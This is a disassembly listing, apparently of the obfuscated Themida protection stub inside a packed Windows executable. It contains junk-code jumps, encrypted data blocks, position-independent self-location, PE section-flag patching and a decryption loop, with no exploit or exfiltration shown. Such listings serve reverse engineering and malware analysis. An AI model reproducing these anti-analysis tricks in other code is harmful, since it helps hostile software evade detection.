		dd 4C4F9870h, 0AE1FC84Eh
; ---------------------------------------------------------------------------


loc_5B7D20:				; CODE XREF: Themida_:005B7D0Cj
		push	ecx
		jmp	loc_5B7D39
; ---------------------------------------------------------------------------
		dw 0A152h
		dd 1BD4A5DAh, 59A90E94h, 86CF5413h, 0ACFF7C73h
		db 0B5h
; ---------------------------------------------------------------------------


loc_5B7D39:				; CODE XREF: Themida_:005B7D21j
		jmp	loc_5B7D4C
; ---------------------------------------------------------------------------
		dw 305h
		dd 0AB4FCDDEh, 0A4AA95E9h, 83C78C25h
; ---------------------------------------------------------------------------


loc_5B7D4C:				; CODE XREF: Themida_:loc_5B7D39j
		push	edx
		jg	loc_5B7D66
		jo	loc_5B7D66
		jmp	loc_5B7D66
; ---------------------------------------------------------------------------
		dw 19F3h
		dd 0BDCFD19Ch
		db 70h,	52h
; ---------------------------------------------------------------------------


loc_5B7D66:				; CODE XREF: Themida_:005B7D4Dj
					; Themida_:005B7D53j ...
		pusha
		jmp	loc_5B7D77
; ---------------------------------------------------------------------------
		dd 5A68503Fh, 0D25DD467h
		db 8Ch,	8Ah, 1
; ---------------------------------------------------------------------------


loc_5B7D77:				; CODE XREF: Themida_:005B7D67j
		popa
		call	$+5
		pop	edx
		sub	edx, 617E1B7h
		jmp	loc_5B7D9B
; ---------------------------------------------------------------------------
		db 0FFh, 37h, 74h
		dd 0F2FE1A86h, 5F7AB4E3h, 7FA31218h
		db 0FCh, 0BAh, 2Eh
; ---------------------------------------------------------------------------


loc_5B7D9B:				; CODE XREF: Themida_:005B7D84j
		jno	loc_5B7DA6
		pusha
		push	eax
		pop	esi
		clc
		popa


loc_5B7DA6:				; CODE XREF: Themida_:loc_5B7D9Bj
		mov	ecx, eax
		jb	loc_5B7DC6
		jnz	loc_5B7DC6
		jmp	loc_5B7DC6
; ---------------------------------------------------------------------------
		db 0F0h, 99h, 0DDh
		dd 3391D3D6h, 6FE68618h
		db 5Fh,	0E7h
; ---------------------------------------------------------------------------


loc_5B7DC6:				; CODE XREF: Themida_:005B7DA8j
					; Themida_:005B7DAEj ...
		call	near ptr dword_5B74A8+78Eh
		cmc
		xor	edx, edx
		stc
		div	ecx
		clc
		mov	eax, edx
		pusha
		mov	si, cx
		jmp	loc_5B7DEF
; ---------------------------------------------------------------------------
		db 95h,	0E6h, 0BCh
		dd 0D50B2DC8h, 7889BB8Dh, 9F7F7CF3h
; ---------------------------------------------------------------------------
		sub	al, 0Ah
		xchg	eax, edx


loc_5B7DEF:				; CODE XREF: Themida_:005B7DD8j
		popa
		pop	edx
		jp	loc_5B7DF8
		clc


loc_5B7DF8:				; CODE XREF: Themida_:005B7DF1j
		jmp	loc_5B7E0F
; ---------------------------------------------------------------------------
		db 14h,	6Eh, 0Ch
		dd 7C686234h, 0C4DA0602h, 490B4118h
		db 37h,	8Eh, 58h
; ---------------------------------------------------------------------------


loc_5B7E0F:				; CODE XREF: Themida_:loc_5B7DF8j
		pop	ecx
		cld
		jmp	locret_5B7E1F
; ---------------------------------------------------------------------------
		dw 2BC9h
; ---------------------------------------------------------------------------
		dec	ebp
		sub	[ebp-599673B9h], ecx

locret_5B7E1F:				; CODE XREF: Themida_:005B7E11j
		retn
; ---------------------------------------------------------------------------
		js	loc_5B7E2D
		jbe	loc_5B7E2D
		stc


loc_5B7E2D:				; CODE XREF: Themida_:005B7E20j
					; Themida_:005B7E26j
		mov	eax, eax
		jmp	loc_5B7E3C
; ---------------------------------------------------------------------------
		dd 0A6044B5Fh, 180C7226h
; ---------------------------------------------------------------------------


loc_5B7E3C:				; CODE XREF: Themida_:005B7E2Fj
		jmp	loc_5B7E54
; ---------------------------------------------------------------------------
		db 6Ah,	67h, 0A4h
		dd 0C7B50980h, 0C3B13792h, 2293870h, 0F1B920B1h
; ---------------------------------------------------------------------------


loc_5B7E54:				; CODE XREF: Themida_:loc_5B7E3Cj
		mov	eax, eax
		jmp	loc_5B7E62
; ---------------------------------------------------------------------------
		db 62h
; ---------------------------------------------------------------------------
		mov	dh, 0DEh
		retf	56A2h
; ---------------------------------------------------------------------------
		sti


loc_5B7E62:				; CODE XREF: Themida_:005B7E56j
		lea	eax, [ebp+617A98Ah]
		jmp	loc_5B7E7D
; ---------------------------------------------------------------------------
		db 41h,	84h, 66h
		dd 213B545Fh, 0D05F0217h, 0D284BD3Bh
		db 8Dh
; ---------------------------------------------------------------------------


loc_5B7E7D:				; CODE XREF: Themida_:005B7E68j
		call	eax
		jmp	loc_5B7E97
; ---------------------------------------------------------------------------
		dd 0A393C07Dh, 23584CEh, 0D4BD645h, 72BFB30h
		db 25h,	8Dh, 8Bh
; ---------------------------------------------------------------------------


loc_5B7E97:				; CODE XREF: Themida_:005B7E7Fj
		jmp	loc_5B7EA2
; ---------------------------------------------------------------------------
		dd 1C240431h
; ---------------------------------------------------------------------------
		retn
; ---------------------------------------------------------------------------
		db 2Dh
; ---------------------------------------------------------------------------


loc_5B7EA2:				; CODE XREF: Themida_:loc_5B7E97j
		mov	ax, cx
		jnb	loc_5B7EAC
		stc


loc_5B7EAC:				; CODE XREF: Themida_:005B7EA5j
		lea	eax, [ebp+617E070h]
		pusha
		mov	ebx, 586A0909h
		jmp	loc_5B7EC7
; ---------------------------------------------------------------------------
		db 63h,	0A3h, 9Eh
		dd 41309F6h
		db 0AEh, 5Bh, 0FFh
; ---------------------------------------------------------------------------


loc_5B7EC7:				; CODE XREF: Themida_:005B7EB8j
		popa
		mov	[ebp+6110FDDh],	eax
		jno	loc_5B7EDB
		jb	loc_5B7EDB
		clc


loc_5B7EDB:				; CODE XREF: Themida_:005B7ECEj
					; Themida_:005B7ED4j
		lea	eax, [ebp+617E15Ah]
		pusha
		mov	ebx, ecx
		movsx	edx, ax
		popa
		mov	[ebp+6110B45h],	eax
		jmp	loc_5B7F05
; ---------------------------------------------------------------------------
		db 0E1h
		dd 0B7FAEF44h, 64AAD5D6h, 9D164542h, 83660004h
		db 26h
; ---------------------------------------------------------------------------


loc_5B7F05:				; CODE XREF: Themida_:005B7EEEj
		mov	eax, 0
		clc
		or	eax, eax
		jz	loc_5B807E
		clc
		mov	byte ptr [ebp+61106D1h], 56h
		ja	loc_5B7F29
		pusha
		jnz	$+6
		popa


loc_5B7F29:				; CODE XREF: Themida_:005B7F1Bj
		jnb	loc_5B7F30
		cmc


loc_5B7F30:				; CODE XREF: Themida_:loc_5B7F29j
		push	0A9C530DFh
		ja	loc_5B7F47
		jo	loc_5B7F47
		jns	$+6


loc_5B7F47:				; CODE XREF: Themida_:005B7F35j
					; Themida_:005B7F3Bj
		jmp	loc_5B7F5B
; ---------------------------------------------------------------------------
		dd 79798034h, 63796A90h, 0AE77BAD7h
		db 0A4h, 0D9h, 0B2h
; ---------------------------------------------------------------------------


loc_5B7F5B:				; CODE XREF: Themida_:loc_5B7F47j
		push	dword ptr [ebp+6110FD1h]
		jmp	loc_5B7F70
; ---------------------------------------------------------------------------
		dw 95Dh
		dd 0D8F0A148h, 432A13E7h
; ---------------------------------------------------------------------------


loc_5B7F70:				; CODE XREF: Themida_:005B7F61j
		pusha
		pusha
		call	sub_5B7F7D
		pop	eax
		iret
; ---------------------------------------------------------------------------
		cmp	al, [ecx+55h]
		stosb

; =============== S U B	R O U T	I N E =======================================



sub_5B7F7D	proc near		; CODE XREF: Themida_:005B7F72p
		pop	edx
		xor	si, 0ADE7h
		popa
		push	ecx
		pop	esi
		popa
		lea	eax, [ebp+614747Fh]
		jmp	loc_5B7FA2
; ---------------------------------------------------------------------------
		dw 1BC4h
		dd 2A9D74A4h, 804652Dh,	0AD3C7ABBh
; ---------------------------------------------------------------------------
		dec	ecx
		push	ecx


loc_5B7FA2:				; CODE XREF: sub_5B7F7D+10j
		call	eax
		cld
		push	eax
		jmp	loc_5B7FBB
; ---------------------------------------------------------------------------
		imul	edi, [ebx+4Ch],	37EDE2DAh
		push	edx
		mov	al, ds:0E4A0C4A2h
		mov	dl, 0D9h
		inc	eax


loc_5B7FBB:				; CODE XREF: sub_5B7F7D+29j
		jg	loc_5B7FCD
		jmp	loc_5B7FCD
; ---------------------------------------------------------------------------
		dw 4A43h
		dd 0EACC61C7h
		db 0ECh
; ---------------------------------------------------------------------------


loc_5B7FCD:				; CODE XREF: sub_5B7F7D:loc_5B7FBBj
					; sub_5B7F7D+44j
		lea	ecx, [ebp+6113425h]
		jge	loc_5B7FE0
		pusha
		mov	eax, 21B5D4C5h
		popa


loc_5B7FE0:				; CODE XREF: sub_5B7F7D+56j
		push	ecx
		cld
		clc
		push	4
		cmc
		clc
		push	1000h
		jo	loc_5B7FFC
		pusha
		jno	$+6
		mov	ch, bl
		popa


loc_5B7FFC:				; CODE XREF: sub_5B7F7D+6Fj
		pusha
		cmc
		jmp	loc_5B800E
; ---------------------------------------------------------------------------
		align 4
		dd 2C53E2F8h, 34CFD25Eh
		db 67h,	1Eh
; ---------------------------------------------------------------------------


loc_5B800E:				; CODE XREF: sub_5B7F7D+81j
		popa
		push	dword ptr [ebp+6111499h]
		jmp	loc_5B802C
; ---------------------------------------------------------------------------
		sbb	ebp, [edi+43A90852h]
		sti
		mov	esp, 0E88280Fh
		adc	eax, 4D246358h
		cld


loc_5B802C:				; CODE XREF: sub_5B7F7D+98j
		call	eax
		jmp	loc_5B803B
; ---------------------------------------------------------------------------
		adc	edx, esi
		stc
		mov	al, 79h
		leave
		not	byte ptr [edx]


loc_5B803B:				; CODE XREF: sub_5B7F7D+B1j
		mov	edi, [ebp+6111499h]
		jmp	loc_5B8054
; ---------------------------------------------------------------------------
		dw 4992h
		dd 6FEC608h, 7C3611CEh,	3F71ED0h
; ---------------------------------------------------------------------------


loc_5B8054:				; CODE XREF: sub_5B7F7D+C4j
		jns	loc_5B8062
		pusha
		jle	$+6
		popa


loc_5B8062:				; CODE XREF: sub_5B7F7D:loc_5B8054j
		add	edi, [edi+3Ch]
		cld
		add	edi, 0F8h
		jmp	loc_5B8076
; ---------------------------------------------------------------------------
		db 7Fh,	0E3h, 0B3h
		db 0, 7Fh
; ---------------------------------------------------------------------------


loc_5B8076:				; CODE XREF: sub_5B7F7D+EFj
		mov	dword ptr [edi+24h], 60000020h
		clc


loc_5B807E:				; CODE XREF: Themida_:005B7F0Dj
		lea	ebx, [ebp+6112025h]
		cmc
		mov	eax, [ebx]
		pusha
		push	eax
		mov	edi, 43077094h
		pop	edi
		popa
		or	eax, eax
		jz	loc_5B80BD
		jb	loc_5B80AA
		jmp	loc_5B80AA
; ---------------------------------------------------------------------------
		aam	0FEh
		add	al, 0ABh
		dec	esp
		push	1Dh


loc_5B80AA:				; CODE XREF: sub_5B7F7D+11Bj
					; sub_5B7F7D+121j
		mov	eax, [eax]
		jmp	loc_5B80B9
; ---------------------------------------------------------------------------
		db 5Dh,	97h, 9Fh
		dd 0DBB6F9F4h
		db 14h
; ---------------------------------------------------------------------------


loc_5B80B9:				; CODE XREF: sub_5B7F7D+12Fj
		mov	[ebx+4], eax
		stc


loc_5B80BD:				; CODE XREF: sub_5B7F7D+115j
		mov	ecx, 234CF6h
		call	near ptr loc_5B80D3+2
		inc	eax
		mov	ebp, 0BA37C50Bh
		xlat
		mov	esp, esp
		inc	dword ptr [edx+ebx*2]


loc_5B80D3:				; CODE XREF: sub_5B7F7D+145p
		cmp	edi, [edi+52h]
sub_5B7F7D	endp ; sp-analysis failed

		mov	ch, ah
		pop	eax
		pop	edi
		sbb	edx, 6D3FD294h
		add	edi, 665Ch
		pusha
		jmp	loc_5B80F6
; ---------------------------------------------------------------------------
		db 0CCh
		db 0FEh, 0CCh, 99h
		dd 0A6E40471h
; ---------------------------------------------------------------------------
		push	es
		cmpsb


loc_5B80F6:				; CODE XREF: Themida_:005B80E7j
		mov	ecx, 32E2AAB7h
		popa
		mov	esi, 4CE095F2h
		xor	esi, 4CE08CAFh
		pusha
		sbb	cx, 24B5h
		mov	bx, ax
		popa
; START	OF FUNCTION CHUNK FOR sub_5B8140


loc_5B8111:				; CODE XREF: sub_5B8140+61j
		push	dword ptr [edi]
		jmp	loc_5B8125
; END OF FUNCTION CHUNK	FOR sub_5B8140
; ---------------------------------------------------------------------------
		dd 7A743B19h, 2BE7201Fh, 4ACC41F3h
; ---------------------------------------------------------------------------
		stosb
; START	OF FUNCTION CHUNK FOR sub_5B8140


loc_5B8125:				; CODE XREF: sub_5B8140-2Dj
		pop	ebx
		mov	dl, 70h
		xor	ebx, 4662D580h
		call	near ptr sub_5B8140
		mov	cl, 0CEh
		retf	4FB2h
; END OF FUNCTION CHUNK	FOR sub_5B8140
; ---------------------------------------------------------------------------
		dd 376D6E6h, 0FC6F8DC1h

; =============== S U B	R O U T	I N E =======================================



sub_5B8140	proc far		; CODE XREF: sub_5B8140-12p

; FUNCTION CHUNK AT 005B8111 SIZE 00000007 BYTES
; FUNCTION CHUNK AT 005B8125 SIZE 00000013 BYTES

		jb	loc_5B814C
		jno	$+6


loc_5B814C:				; CODE XREF: sub_5B8140j
		pop	edx
		sub	ebx, 7645C079h
		jmp	loc_5B8169
; ---------------------------------------------------------------------------
		pop	ds
		retn	0BDCCh
; ---------------------------------------------------------------------------
		dd 4750FBFh, 7FA7B398h,	0BDE01BD0h
		db 0EBh
; ---------------------------------------------------------------------------


loc_5B8169:				; CODE XREF: sub_5B8140+13j
		xor	ebx, 14347D79h
		mov	edx, esi
		push	ebx
		jmp	loc_5B8189
; ---------------------------------------------------------------------------
		db 9Dh
		dd 0AE391619h, 9832CB76h, 150920A1h, 0EB461CB9h
; ---------------------------------------------------------------------------
		pop	ds


loc_5B8189:				; CODE XREF: sub_5B8140+32j
		pop	dword ptr [edi]
		mov	cx, dx
		sub	edi, 33F8F9A2h
		mov	ax, dx
		add	edi, 33F8F99Eh
		movsx	ecx, bx
		dec	esi
		jnz	loc_5B8111
		jz	loc_5B81B3
		and	edx, 2DCA144Dh


loc_5B81B3:				; CODE XREF: sub_5B8140+67j
		lea	ecx, [ebp+617E6B0h]
		push	0
		push	ebx
		call	sub_5B81C4
		and	[ebx-3Dh], bl
sub_5B8140	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================



sub_5B81C4	proc near		; CODE XREF: sub_5B8140+7Cp

arg_4		= dword	ptr  8

		pop	ebx
		mov	[esp-4+arg_4], ebx
		add	[esp-4+arg_4], 17h
		inc	ebx
		push	ebx
		retn
sub_5B81C4	endp

; ---------------------------------------------------------------------------
		dd 603CFF8Ch, 3CDB589h,	8D890611h, 611285Dh, 0B5FAE081h
		dd 85C73213h, 6112DD1h,	648Ch, 0E851006Ah, 3, 59C35920h
		dd 4244C89h, 4244481h, 1Dh, 0B6C35141h,	54412BADh, 631EA4B5h
		dd 2890F12h, 8B000000h,	985C7F0h, 61127h, 8A000000h, 0D9B5FFDDh
		dd 6A061132h, 3E85300h,	20000000h, 895BC35Bh, 8104245Ch
		dd 18042444h, 43000000h, 0AB23C353h, 0FF9F1B7Dh, 111DA995h
		dd 0BE906h, 0F51C0000h,	6CF2B1E4h, 0ED8028B7h, 0C98D89DDh
		dd 6A06110Fh, 0C595FF00h, 8B061105h, 886BEBC0h,	0F6ABC65Fh
		dd 39BBDD5Ch, 6E5E499h,	770A5B3Bh, 0C1DA45FEh, 0E43D0D86h
		dd 9D691579h, 0D42D738Dh, 6363A5C3h, 200DBB01h,	20ED1585h
		dd 347EE2A5h, 0C1DC1044h, 0A5291B0h, 0C3E0A1D8h, 0A6CA7A51h
		dd 0F106D5Ch, 0D5F7903Ch, 7C113451h, 0A2A21E15h, 9C2CAFEh
		dd 33F35D67h, 0FE1F18C2h, 8BE4D73Dh, 0E447A33h,	0A6941399h
		dd 0DE861F6h, 8D000000h, 0FDE634F0h, 6C48EE7Ah,	0E298AD65h
		dd 2C21BD89h, 665F0611h, 818DE8BEh, 6B3DC7h, 0F5BB6600h
		dd 1AAB683Dh, 0B8660000h, 0F59D88Bh, 37FFD8B7h,	68A0Fh
		dd 0B5290000h, 6112349h, 2D9D8B5Ah, 8106110Ah, 7D1DB4C2h
		dd 9D9D8917h, 8106110Bh, 0A78451F2h, 0D88B6661h, 985C281h
		dd 0B58B35BFh, 6112E0Dh, 85891789h, 61108E9h, 0AE4AEF81h
		dd 8C0F2311h, 3, 81F2BF0Fh, 11AE46C7h, 2D852923h, 49061114h
		dd 0FFA0850Fh, 9D31FFFFh, 61101DDh, 1CE9h, 58915200h, 5Eh
		dd 5 dup(0)
		dd 0AD4E900h, 41680000h, 0E90617E9h, 0FFFA5FCCh, 17EA5668h
		dd 5FC2E906h, 0B68FFFAh, 0E90617ECh, 0FFFA5FB8h, 17ED0468h
		dd 5FAEE906h, 6468FFFAh, 0E90617EEh, 0FFFA5FA4h, 17F00268h
		dd 5F9AE906h, 0F768FFFAh, 0E90617F0h, 0FFFA5F90h, 74B199Bh
		dd 4E80DEE3h, 9ABCAA2Ah, 0EBEF7376h, 341A4847h,	807F4783h
		dd 4E48ECE2h, 15963A1Ch, 0DDDD0149h, 67225387h,	0EC895469h
		dd 0E27C0D88h, 51273DBDh, 577BE9E9h, 41BD871Fh,	83319423h
		dd 950C87C7h, 0C7F5BB94h, 7715BB2Ah, 6F72D4ABh,	0D89CCEC8h
		dd 6BF8BC4Bh, 0A736D707h, 1F615C9Ah, 3D80h, 0F9910400h
		dd 532391F4h, 0BB950C85h, 0A3F5CD95h, 0F16E4220h, 80D515Bh
		dd 571B4746h, 0CA98173Bh, 1E22793Fh, 498C35E6h,	705E10CAh
		dd 77151741h, 7AD9B8C0h, 1F60FCEDh, 0DFEFh, 3DBD5700h
		dd 0EEE95127h, 0FD8B0945h, 22B1E0E6h, 78E6EA4Eh, 0C0A21D25h
		dd 0F53B7FECh, 772E4D4Dh, 0DA1C7B34h, 540254E3h, 8EFB0373h
		dd 0B01C8A0Eh, 8EFB008Dh, 0D4D77BD4h, 0AE3D2A8Eh, 0DE8404A8h
		dd 0FB029A9Ah, 1F4C28A4h, 0CA85950Ch, 0C9D44C84h, 5042C6F2h
		dd 0C936CE0h, 50FEB6C8h, 0DBF95636h, 7D20E322h,	7249E473h
		dd 0B991D1CCh, 96C89A15h, 0E6517C3Fh, 0B222C026h, 0FC000008h
		dd 0CE7264FEh, 19BD95C9h, 678BCF9Dh, 0B4D8FE64h, 0EE212939h
		dd 0FD6D6834h, 3537B1D5h, 6EFCF91Dh, 9EC4C468h,	420E19B8h
		dd 88EC88BBh, 4EFB43FAh, 61A05D7Bh, 66F18EFBh, 0B1B12C10h
		dd 43997EAh, 5D8EFB61h,	0B8D7BA3Bh, 61FC542Dh, 8101A509h
		dd 65B8EFE3h, 0FB655657h, 1F04C58Eh, 0A809DDF6h, 293971EEh
		dd 91F4F991h, 0C855323h, 0E1D78095h, 15BA0633h,	26E78777h
		dd 6161AAB7h, 0EEE9511Fh, 472B387Ch, 0C4D1h, 39B49A00h
		dd 0B62AD3E1h, 0DC8B7715h, 4EF96941h, 61A05D7Bh, 0BD398EFBh
		dd 3C5AC9AFh, 0E7EB4F23h, 900F3379h, 0D7309ED2h, 0EA8EFB65h
		dd 0C15678E6h, 0BD1BBD7Bh, 5C12EF47h, 66AF8F8h,	46AE960Eh
		dd 57FB2C9Eh, 645037C2h, 6AF37800h, 0FB82CE51h,	0BA771688h
		dd 874B1EADh, 0B1155D03h, 0C1A4A921h, 0E2F9DEF3h, 0DDA0BF6Ch
		dd 529A4286h, 0A07DE168h, 376B6ACEh, 216BE499h,	17A2BD7Dh
		dd 42209FC3h, 5003BF1Ch, 965492E6h, 79Dh, 577BE9EBh, 9EB0AE33h
		dd 0EAEC7A7Ah, 3B1F4346h, 44A1897h, 504F17F3h, 1E983C12h
		dd 0E5E60A4Ch, 0AD2D5179h, 1772A3B7h, 0EC8B84B9h, 12ACDD88h
		dd 2E2042BDh, 7658068Ah, 273DBDEEh, 7BE9E951h, 0CF8DC057h
		dd 8EFB613Eh, 8E86E867h, 0B0B22C16h, 8DD06FFCh,	0A3244545h
		dd 0DF4C20BFh, 0AD52D179h, 6357548Ch, 5651F9CCh, 0EC74A214h
		dd 0B6950C87h, 1F6C1590h, 7AB2DFA3h, 709CD261h,	29A991E7h
		dd 0EFF3173Bh, 0A3242A71h, 46AF9BFh, 2E44D4C2h,	6383EFAEh
		dd 74EAEEA2h, 0CFFEDA11h, 96FC52E7h, 0A9CDF1B9h, 47753B29h
		dd 0FC52E7ABh, 0C0B4B630h, 0A70D5D58h, 690E8F9Fh, 530D8CDEh
		dd 6639114Fh, 2D85E5E0h, 95DB8909h, 52E70F27h, 37D6B6FCh
		dd 0EBEF7575h, 461D4347h, 0D63FF80h, 0A3DDBA1Eh, 15AF5299h
		dd 831B1B5Dh, 31A9277Ah, 26E7A555h, 39D12129h, 0E7635134h
		dd 4FF99452h, 155D0B8Bh, 0D50A6EF9h, 720B329Eh,	0C46AE87Ch
		dd 6C9E2EECh, 0DA9C2B3Ah, 7CA9CCFCh, 5C3D4DE8h,	42F96DD3h
		dd 0B4BD400Ch, 6BE4E87Ch, 0D8AC0DE5h, 46E26F96h, 63D88BFAh
		dd 4C000003h, 0CE46E9ADh, 0FCDCF8CFh, 4D950C67h, 0F9BFAD29h
		dd 7755DF6Ah, 0E9E4CA3Ah, 0F2DE178Fh, 0F61B46CBh, 0A64775AAh
		dd 0FFF61B46h, 6346D560h, 0EC577555h, 278DDAEDh, 15494EF0h
		dd 0B3DD55Dh, 7EE4E78Ah, 3A7154E3h, 0E5CB9714h,	0E8952386h
		dd 0C9FC3476h, 44FED89Eh, 1DE7C0C2h, 0D7DB7F42h, 9BEE4189h
		dd 41C2003Dh, 4A1899E2h, 0FB5F134Ch, 155152F7h,	9D054086h
		dd 62445F30h, 5E844h, 2E34B600h, 5F038428h, 89D7D77Bh
		dd 0C49E1D41h, 0F36F6E92h, 266EA8DFh, 7397BBA7h, 0BFE3F775h
		dd 8A2E203Eh, 0DF765806h, 8D710C48h, 192088ECh,	0F4F991C1h
		dd 0AA18AB91h, 2A8ED4D4h, 8D2F973Dh, 6967B8FEh,	950CDCF1h
		dd 9F83E966h, 0D76F451Bh, 0AE5F7DB0h, 0F77714CCh, 47C61658h
		dd 0D9ACB129h, 0E3C667FBh, 6460F46Ch, 32146B06h, 560C8DB4h
		dd 76F5BBh, 0EA78789Ch,	401EA286h, 9FC3C46Ch, 0CE7771D9h
		dd 4EDD93CFh, 3949FDB3h, 0BFA32458h, 44DF6AF9h,	0E5E5A766h
		dd 0E7D5287Fh, 7D25C2C6h, 906BF99Fh, 7BD9AC07h,	5F268AECh
		dd 1950F012h, 23108h, 0B8FB300h, 81F76B6Eh, 0C2A117A2h
		dd 39F2350Eh, 5911964Eh, 5F8A4EC9h, 32711B70h, 56CE4628h
		dd 76447057h, 0BB95132Ch, 7671D9ACh, 3FBEE2F4h,	556F4D23h
		dd 0CA77131Dh, 2DA698C6h, 68EC5E76h, 4EF500Eh, 3BB90000h
		dd 0FCFD2129h, 0D0CC7066h, 9918BC92h, 625D81C9h, 5DB9CE00h
		dd 82D49611h, 0CC02605Eh, 1B3F2BA8h, 656DF3F7h,	4E7F5DCCh
		dd 1788EC8Ch, 0F991CC16h, 2AAFCACFh, 54D39934h,	0ABAFE2B9h
		dd 0F4733927h, 48A61482h, 5C0B9513h, 89B03018h,	8FC35E0Ch
		dd 0B3F9676Bh, 1F550B8Fh, 0A5E7A604h, 0E4683F25h, 0E1E36913h
		dd 0E2C6A85Dh, 5A98D663h, 178C41Fh, 4E400000h, 155D0D88h
		dd 988B131h, 40141359h,	0E1C1C039h, 4219B431h, 25BC410Fh
		dd 6AE58EFBh, 5A5EC204h, 0A82D204h, 5010BC03h, 1A950CC3h
		dd 5806A236h, 3678FBC9h, 12368DDAh, 20C11035h, 599FD303h
		dd 14DA4E7Bh, 0DEBFCF77h, 623DF27Fh, 0A521291Fh, 3C72F1C7h
		dd 202Ah, 0F9919A00h, 532391F4h, 80950C85h, 633E1D7h, 877715BAh
		dd 0AAB726E7h, 901F6161h, 0C5h,	273DBD14h, 7CEEE951h, 0FCA72129h
		dd 34B3E9D3h, 86CFBEEh,	7508441Bh, 2C8EFB67h, 11397F33h
		dd 0B59DD391h, 0D2B2F35h
dword_5B89E0	dd 8EFB63AAh		; DATA XREF: Themida_:005505DFr
; ---------------------------------------------------------------------------
		aaa
		mov	bl, 94h
		leave
		sar	byte ptr [ecx-52993B5h], 0C3h
		lahf
		sti
		mov	ss, word ptr [edx-4864C93Bh]
		assume ss:nothing
		aas
		cmpsd
		cmpsb
		retn
; ---------------------------------------------------------------------------
		db 7Fh
		dd 598EE07Eh, 0FEED07Bh, 0D3B6A195h, 0DCF2706Fh, 5FE53DB8h
		dd 247D2275h, 0CCF1DF90h, 95771629h, 0C23B2FBAh, 0EBEC6341h
		dd 38FDF8Dh, 0DBD90000h, 9C1D4189h, 706C90C6h, 39B8DCF2h
		dd 2FD2129h, 0FDD96E60h, 223436B1h, 6C6200FEh, 0BB9FCBC8h
		dd 85CD9317h, 0EE9F3D6Ch, 0B788EC8Fh, 42BD2CB6h, 0BCF9D1Bh
		dd 941DC8Ah, 287FE5E5h,	61C6E7D5h, 0C09F8EFBh, 1E55CAEEh
		dd 0FB618BB2h, 357DEA8Eh, 273DBD2Dh, 7BE9E951h,	86871F57h
		dd 6C4D9523h, 3522950Ch, 94A2517Fh, 0A2007715h,	3B0D85E3h
		dd 4A1897BAh, 5451F9BFh, 36C5A216h, 5088C49Bh, 16CE299h
		dd 5BF66C6Dh, 3DBDEF77h, 0EDC39F1Ch, 8FDBD87Eh,	0C9AF3A29h
		dd 0BE386161h, 0BE4D1397h, 0F8DE6DFAh, 86DDE078h, 0C870ECAh
		dd 0EB395F95h, 229D87B5h, 9409E255h, 0D97492BDh, 5BF67471h
		dd 0A3BFC204h, 1E2B89CFh, 9F771541h, 9BA10E8Fh,	8DCBBA3Ch
		dd 77152FF0h, 6C22B6A1h, 364F2364h, 1F617129h, 2013h, 0F9919300h
		dd 532391F4h, 80950C85h, 633E1D7h, 877715BAh, 0AAB726E7h
		dd 901F6161h, 0D2h, 0A58A4E14h,	37C86149h, 7F03278Bh, 8DF4F5D8h
		dd 0FC8BE3D0h, 4527A1A9h, 52F42B6Dh, 0FEA21452h, 250D63FFh
		dd 51F9BFA5h, 113F1351h, 8EFB8BB6h, 0C299C7CBh,	53BAAD7Eh
		dd 0C15E1250h, 0C99C120Bh, 19993DE1h, 9321744Bh, 8EFBA9EAh
		dd 94DA9CCBh, 0BE050880h, 0CA32E12h, 0FED08F95h, 476652A9h
		dd 1E7714DCh, 71E96941h, 1EBB196Ch, 6F6CE0AEh, 0F9AC8CBh
		dd 481696B8h, 8E093166h, 5756FADCh, 2CCB5E32h, 9837A06Ch
		dd 52D241A6h, 446244E6h, 1F1h, 33273DBFh, 2540A8Fh, 4E80DEDEh
		dd 97BBA72Ah, 0E0F67473h, 0AC2B73AFh, 7A7498BEh, 4142E6E8h
		dd 9892D25h, 4BDE775Bh,	0EC91700Dh, 0BE182188h,	5A08884Eh
		dd 0B5B53014h, 0EB79799Dh, 0F9917FE7h, 7E5A91F4h, 8EFB614Fh
		dd 56623916h, 8EFB6157h, 0C619510Eh, 0C85BA8Ah,	297CEB95h
		dd 1F364F23h, 45FB1CF3h, 8676C55Ch, 8ACCA231h, 0BBF1ED55h
		dd 1575601Dh, 8B263177h, 75F88927h, 21797715h, 9B64F160h
		dd 0B3971F60h, 0E87E302Eh, 0ADh, 273DBD5Ch, 0B5341A51h
		dd 1658C7ADh, 5C8EB332h, 6DE022BBh, 0FD4518B7h,	1C0B6103h
		dd 0C5720B49h, 34238EFBh, 359E3C42h, 448EFBC1h,	94381E44h
		dd 0EA6A4E14h, 0C1146B72h, 84E87A79h, 9DE5D3A7h, 0D2950CF4h
		dd 8D054D85h, 939F3D80h, 0E06CE085h, 0AF2E1077h, 7C7B9FB3h
		dd 0E095F8EEh, 2204E651h, 0FC04h, 1A484A00h, 530F9034h
		dd 8DDBDB7Fh, 0C0A22145h, 0FF6B6A8Eh, 226AA4DBh, 6F93C7A3h
		dd 0BBDFF371h, 862A2C3Ah, 0DB7A5C02h, 917D004Ch, 52488ECh
		dd 1942BDBDh, 439DEEE1h, 2DABFE18h, 8EFBC310h, 577B1641h
		dd 99B1AF33h, 1E3DBD49h, 0B1EE1608h, 9BD16CA5h,	961633B7h
		dd 0DD153DC8h, 57653845h, 95131B9Dh, 73D79DCAh,	0A6AAF16Fh
		dd 6C5528A1h, 6F532735h, 0C299C7CBh, 0FB44F77Eh, 8BC9BD3Ah
		dd 771314F2h, 0B319B4A3h, 0C0200D52h, 0F93F73E7h, 0A2DA9DDBh
		dd 0E9A8F41Eh, 252D33B7h, 0D630181h, 0F8BCA625h, 5B115150h
		dd 6DF199F5h, 0A129E16Eh, 13497F24h, 2DB26A31h,	5CA8DA9Eh
		dd 7A0AB8BDh, 0B02C129Bh, 5858FCB2h, 20A0C40Ah,	73FCE8Ah
		dd 0E9662F63h, 7BC1165Ah, 7958099Ah, 0D593136Eh, 0BDF5809Fh
		dd 14E3h, 0B499C00h, 2F631B72h,	16A03423h, 0B5B6E081h
		dd 0C9313179h, 253FBD31h, 79E7EB4Fh, 0D08E0F33h, 283AB49Ch
		dd 81E1DC44h, 0DA88072Bh, 332FB296h, 8BD9D57Dh,	0E67C7D25h
		dd 89525492h, 4C281E2h,	56000000h, 4BEh, 5EF22900h, 5C241487h
		dd 81E78957h, 4C7h, 4EF8300h, 5C243C87h, 68243C89h, 170Eh
		dd 51240C89h, 9B7AB4B9h, 6E1C161h, 669FF181h, 0BD552143h
		dd 21E1249h, 815DE901h,	0A3F5C2E9h, 59CF8943h, 240C8B54h
		dd 5004C483h, 24348157h, 2702513Ch, 513C3558h, 41892702h
